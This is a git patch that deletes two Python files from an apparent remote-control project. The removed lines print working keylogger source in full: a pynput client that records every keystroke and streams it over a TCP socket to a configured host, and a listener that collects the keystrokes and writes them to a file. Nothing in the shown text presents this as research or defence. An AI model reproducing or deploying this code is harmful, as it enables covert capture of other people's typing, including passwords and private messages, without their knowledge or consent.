From 945a4960161e540ebabe22f2e1e1669cf038e464 Mon Sep 17 00:00:00 2001 From: Daniel Date: Mon, 19 Apr 2021 14:47:02 +0100 Subject: [PATCH] delete irrelevant logger stuff --- Controlled/serversend - datalog.py | 54 ----------------- Controller/KEY LOGGER - Normal.py | 96 ------------------------------ 2 files changed, 150 deletions(-) delete mode 100644 Controlled/serversend - datalog.py delete mode 100644 Controller/KEY LOGGER - Normal.py diff --git a/Controlled/serversend - datalog.py b/Controlled/serversend - datalog.py deleted file mode 100644 index 59bd6aa..0000000 --- a/Controlled/serversend - datalog.py +++ /dev/null @@ -1,54 +0,0 @@ -import socket -import os - -# device's IP address -SERVER_HOST = "127.0.0.1" #(socket.gethostbyname(socket.gethostname())) -SERVER_PORT = 5001 -# receive 4096 bytes each time -BUFFER_SIZE = 128 -SEPARATOR = "" -# create the server socket -# TCP socket -s = socket.socket() -# bind the socket to our local address -s.bind((SERVER_HOST, SERVER_PORT)) -# enabling our server to accept connections -# 5 here is the number of unaccepted connections that -# the system will allow before refusing new connections -s.listen(5) -print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}") -# accept connection if there is any -client_socket, address = s.accept() -# if below code is executed, that means the sender is connected -print(f"[+] {address} is connected.") -# receive the file infos -# receive using client socket, not server socket -received = client_socket.recv(BUFFER_SIZE).decode() -filename, filesize = received.split(SEPARATOR) -# remove absolute path if there is -filename = os.path.basename(filename) -# convert to integer -filesize = int(filesize) -# start receiving the file from the socket -# and writing to the file stream - -#with open(filename, "wb") as f: - -while True: - # read 1024 bytes from the socket (receive) - bytes_read = client_socket.recv(BUFFER_SIZE) - if not bytes_read: - # nothing is received - # file transmitting is done take another time - break - # write to the file the bytes we just received - f = open(filename, 'ab') - if (bytes_read.find("Key") == -1): #don't write shifts and controls - f.write(bytes_read) - print(bytes_read) - f.close() - -# close the client socket -#client_socket.close() -# close the server socket -#s.close() diff --git a/Controller/KEY LOGGER - Normal.py b/Controller/KEY LOGGER - Normal.py deleted file mode 100644 index 818cddc..0000000 --- a/Controller/KEY LOGGER - Normal.py +++ /dev/null @@ -1,96 +0,0 @@ -import socket -import os -from pynput import keyboard - - - -SEPARATOR = "" -BUFFER_SIZE = 128 # send 4096 bytes each time step - - -# the ip address or hostname of the server, the receiver -host = "127.0.0.1" -# the port, let's use 5001 -port = 5001 -# the name of file we want to send, make sure it exists -filename = "data.txt" -# get the file size -filesize = os.path.getsize("data.txt") - - - -# create the client socket -s = socket.socket() -print(f"[+] Connecting to {host}:{port}") -s.connect((host, port)) -print("[+] Connected.") -# send the filename and filesize -s.send(f"{filename}{SEPARATOR}{filesize}".encode()) - -def sendfile(): - # start sending the file - with open(filename, "rb") as f: - while True: - # read the bytes from the file - bytes_read = f.read(BUFFER_SIZE) - if not bytes_read: - # file transmitting is done - break - # we use sendall to assure transimission in - # busy networks - s.sendall(bytes_read) - # close the socket - #s.close() - -#----------------------------------------------------------- - - -def on_press(key): - - if str(key) == 'Key.enter': - text_file = open("data.txt", "w") - text_file.write("\n") - text_file.close() - sendfile() - - elif str(key) == 'Key.space': - text_file = open("data.txt", "w") - text_file.write(" ") - text_file.close() - sendfile() - - elif str(key) == 'Key.backspace': - print("Invalid") - - - else: - text_file = open("data.txt", "w") - text_file.write(('{}'.format(key)).replace("'", "")) - text_file.close() - sendfile() - - - -def on_release(key): - - #print('Key {} released.'.format(key)) - - if str(key) == 'Key.esc': - - print('Exiting...') - - return False - - - -with keyboard.Listener( - - on_press = on_press, - - on_release = on_release) as listener: - - listener.join() - - -#----------------------------------------- -